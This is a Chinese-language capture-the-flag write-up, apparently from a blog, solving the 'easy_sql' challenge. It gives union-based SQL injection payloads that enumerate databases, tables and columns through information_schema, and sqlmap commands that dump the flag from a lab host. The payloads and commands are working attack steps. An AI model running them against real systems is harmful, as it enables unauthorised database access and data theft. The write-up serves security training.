sql [SWPUCTF 2021 新生赛]easy_sql

打开题目,直接查看源代码给了提示注入点是wllm

 然后得到了name和password

 输入1' 报错,说明注入点是字符型注入

输到4的时候报错了

说明列名字段数为3

爆破数据显示位为2,3

我们直接爆破数据库名

我们知道数据库名为test_db

爆破表名

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db" --+

我们知道表名有test_tb和users

我们选择test_tb进行爆破

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb" --+

看见有id和flag两个字段

我们直接爆破数据

?wllm=-1' union select 1,2,flag from test_tb --+

得到flag

同样这道题也可以用sqlmap跑一下看看

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" --dbs

得到数据库名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" -D test_db --tables

得到所有表名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" -D test_db -T test_tb --columns

得到所有列名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" -D test_db -T test_tb -C flag --dump

得到flag

sqlmap的使用见:

sqlmap的安装与使用-CSDN博客

相关推荐

  1. [SWPUCTF 2021 新生]PseudoProtocols

    2023-12-24 15:30:02       33 阅读
  2. [UUCTF 2022 新生]ezsql

    2023-12-24 15:30:02       11 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-24 15:30:02       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-24 15:30:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-24 15:30:02       20 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-24 15:30:02       20 阅读

热门阅读

  1. R语言使用scitb包10分钟快速绘制论文基线表

    2023-12-24 15:30:02       44 阅读
  2. linux 文件概念

    2023-12-24 15:30:02       25 阅读
  3. 面积最大的蛋糕

    2023-12-24 15:30:02       38 阅读
  4. 软件工程-第二章 计算机系统工程

    2023-12-24 15:30:02       31 阅读
  5. 【Python爬虫】第四课 动态爬取数据

    2023-12-24 15:30:02       40 阅读
  6. 排序算法——基数排序

    2023-12-24 15:30:02       41 阅读
  7. C++学习——STL

    2023-12-24 15:30:02       40 阅读
  8. 60 贪心算法解优势洗牌-田忌赛马问题

    2023-12-24 15:30:02       37 阅读
  9. 8.架构设计系列:常用设计模式的实践

    2023-12-24 15:30:02       35 阅读
  10. Python 常用模块re

    2023-12-24 15:30:02       40 阅读
  11. k8s中的namespace及创建方式

    2023-12-24 15:30:02       36 阅读
  12. 单例模式的四种具体写法

    2023-12-24 15:30:02       41 阅读